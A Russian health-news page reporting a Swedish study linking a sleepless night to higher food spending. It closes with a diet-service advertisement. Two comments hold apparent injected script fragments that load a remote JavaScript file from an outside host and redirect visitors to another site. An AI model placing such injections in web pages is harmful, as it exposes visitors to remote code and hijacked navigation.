Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Не выспалась ночью – днем...  >>  Не выспалась ночью – днем потратила все на еду
 
Обратная связь
 

Не выспалась ночью – днем потратила все на еду

Размер шрифта
12 декабря 2013 00:00
Юрий Малышев
Здоровье инфо
Александр Чистяков
Здоровье инфо
  • google_analytics: false
  • Нравится

Бессонная ночь приводит к тому, что на следующий день человек тратит больше денег на еду. К такому выводу пришли ученые из Швеции.

Не выспалась ночью – днем потратила все на еду

Исследовательская группа из Швеции решила изучить, как влияет недостаточный сон ночью на пищевое поведение. Интерес этот – отнюдь не безосновательный: давно известно, что неполноценный сон повышает аппетит и ухудшает когнитивные функции.

«Не выспавшиеся люди чаще принимают необдуманные импульсивные решения и более уязвимы к воздействию внешних стимулов. Учитывая также тот факт, что у них, как правило, повышен аппетит, мы предположили, что в итоге это должно приводить к всплеску потребительской активности именно в отношении продуктов питания», – рассказывает Колин Чэпмен, ведущий автор исследования. 

Суть исследования заключалась в следующем. Ученые собрали четырнадцать мужчин с нормальным весом и выделили им фиксированный бюджет (примерно полторы тысячи рублей). Испытуемые были вправе тратить эти деньги только на определенный ассортимент товаров из сорока позиций, в числе которых половину составляли продукты питания с высокой калорийностью, а другую половину – с низкой. Цены на высококалорийные продукты варьировались с тем, чтобы определить, как влияет дефицит сна на объективность покупательской оценки.

Перед экспериментальными закупками всем испытуемым был предложен стандартный завтрак, чтобы снизить влияние голода на пищевое поведение.

Выяснилось, что мужчины, лишенные ночного сна, соблазнялись едой намного охотнее: как с точки зрения калорийности (+9%), так и массы пищи (+18%).

Помимо прочего, ученые измеряли у испытуемых уровень грелина (гормона, провоцирующего аппетит), который в итоге оказался повышен у тех испытуемых, которые провели бессонную ночь. Впрочем, статистическая взаимосвязь между этим параметром и потребительской активностью не выявилась.

«Наша работа убедительно доказывает, что пациенты, у которых есть склонность к набору лишнего веса, должны следить не только за своей диетой, но и за сном», – говорит Чэпмен.

В данном исследовании пациенты лишались сна полностью, то есть им не разрешалось сомкнуть глаза ни на минуту. Поэтому нельзя сказать наверняка, проявится ли аналогичная закономерность при частичном недосыпе. Необходимы дальнейшие исследования, которые могли бы прояснить этот вопрос. Кроме того, нужно выяснить, как влияет дефицит сна на потребительскую активность в целом, не только в отношении пищевых продуктов.

А пока ученные думают, худейте с «Диетой Елены Малышевой»! Уже готовая правильная еда будет доставлена к вам в любое удобное для вас место и время. Вам останется только есть и худеть!

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 18:50

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

2 - zzzzzz

30 июня 2015 в 22:50

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Во сколько ложиться спать, чтобы не попасть в аварию? Вы удивитесь!   Как прикорнуть и зарядиться энергией на день   Как выспаться   Бессонные ночи делают из любимых врагов  
03 июня 2013Недосып лечит депрессию. Сколько спать, чтобы не сойти с ума? 15 июля 2013Сколько нужно спать, чтобы помнить все
 
11 июля 2013Ворочаетесь по ночам? У вас в два раза больше шансов умереть раньше! 01 ноября 2013ИНВИТРО – «Марка №1» в России
 

Слайдшоу

1
Как провести день, чтобы выспаться
Как студенческая жизнь влияет на здоровье
Что крадет ваш сон

Тесты

1
Будет ли у вас инфаркт?
Кофеин вызывает зависимость?
Как устроены волосы человека?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.